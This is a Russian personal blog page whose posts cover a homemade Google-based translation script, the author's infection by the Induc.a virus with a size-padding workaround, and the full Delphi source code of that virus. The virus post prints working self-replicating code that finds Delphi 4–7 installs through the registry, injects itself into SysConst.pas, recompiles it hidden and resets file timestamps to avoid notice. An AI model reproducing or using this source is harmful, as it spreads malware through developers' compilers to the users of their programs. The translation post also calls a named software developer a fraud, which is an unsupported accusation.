Entries RSS
image

Голосование

  • Как вы проводите свой досуг?


Смотреть результаты
Loading ... Loading ...

О чём пишут другие блоггеры

Сен 03

Скрипт перевода текстов

Итак, мой первый рабочий и полезный скрипт на моём первом рабочем и полезном интерпретаторе =)))

Что он делает?

Этот скрипт переводит тексты, но не сам, а через Google. Все мы знаем возможности Google, соревноваться с этой компанией просто бессмысленно.

Написание этого скрипта навеяно канадской программой-переводчиком Ace Translator, информацию о которой можно посмотреть на сайте http://www.acetools.biz
Не смотря на то, что вышеуказанная программа самостоятельно НЕ переводит тексты, а пользуется предоставленным компанией Google сервисом, она является платной. Одна лицензия на одного пользователя стоит 59.95 евро!!! На мой взгляд, программист вышеуказанной программы-переводчика – мошенник, ведь, по сути, программа-переводчик ничего из себя не представляет.

Мой же скрипт способен выполнить те же функции, что и программа-переводчик Ace Translator, но является абсолютно бесплатным. Кроме того, Вы можете самостоятельно изменить код скрипта, для того, тобы автоматизировать процесс перевода огромного количества текстов, статей или даже сайтов.

Также, этот скрипт демонстрирует новые возможности паскалеобразного робота – моего молодого интерпретатора Dolphin.
Я написал комментарий к каждой строчке кода, для более понятного восприятия.

Как запускать скрипт?

По сути, файл скрипта – текстовый, поэтому выполнение возможно только с программой Dolphin. Для запуска скрипта необходимо в программе в меню File выбрать пункт Open и указать путь к файлу скрипта. После этого – нажать клавишу F9.

Фйлы для скачивания


translate_by_google.drs
5.73 kb

dolphin.zip
548 kb

К сожалению, у меня нет времени на создание справочной системы по синтакисиу языка. Но в скором будущем я автоматизирую процесс её создания.

Авг 23

Исходный код вируса Virus.Win32.Induc.a

Принцип работы и объекты заражения описаны здесь

uses windows;

var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',
'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s=#36 then s:=#39;
result:=s;
end;

procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;

while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;

for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;

procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c<>#0 do
begin
r:=r+c;
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;

begin
st;
end.

Авг 22

Поздравьте меня! Я подхватил вирус!

А название его Virus.Win32.Induc.a

Кратко, как он работает:

Для своего размножения Virus.Win32.Induc.a использует механизм двушагового создания исполняемых файлов, реализованный в среде Delphi. Согласно данному механизму, исходный код разрабатываемых приложений сначала компилируется в промежуточные .dcu-модули, из которых затем собираются исполняемые в Windows файлы.

Новый вирус активизируется при запуске заражённого им приложения и проверяет, установлен ли на компьютере пакет среды разработки Delphi версий 4.0-7.0. В случае обнаружения пакета, Virus.Win32.Induc.a внедряется в исходный файл базовых констант Delphi Sysconst.pas и компилирует его, в результате чего получается модифицированный откомпилированный файл базовых констант Sysconst.dcu.

Проблема заключается в том, что ативирусные системы определяют и лечат уже зараженные файлы, в принципе, как и должно быть; но не лечат причину заражения. Я несколько раз безрезультатно пробегался разными антивирусами по файлу Sysconst.dcu, и ни одна сволочь не заикнулась, даже ничего не заподозрила. Наверное, все же лечить причину стратегически не выгодно.

Я посмотрел на размеры файлов до заражения и после, оказалось, что чистенький файл Sysconst.pas весит 10’579 байт, а зараженный – 17’113. Но так как этот видус внедряется в файл *.dcu, то кроме как на размер файла, вирус не ориентируется. Поэтому легко исправить ситуацию, просто дописав пробелы в конец файла Sysconst.dcu, тем самым подогнав размер до 17’113 байт. Файл остается чистым, а вирус думает, что главный модуль распространения уже заражен и повторно его не трогает. Чистый файл естественно, можно взять в установочном дистрибутиве Delphi.

Я сутки потратил на лечение компьютера, блин. Но зато, добился результата =)

Теперь можно пойти на балкон и спокойно покурить, смотря на капающий вечерний дождь =)))))))))))

Страница 1 из 11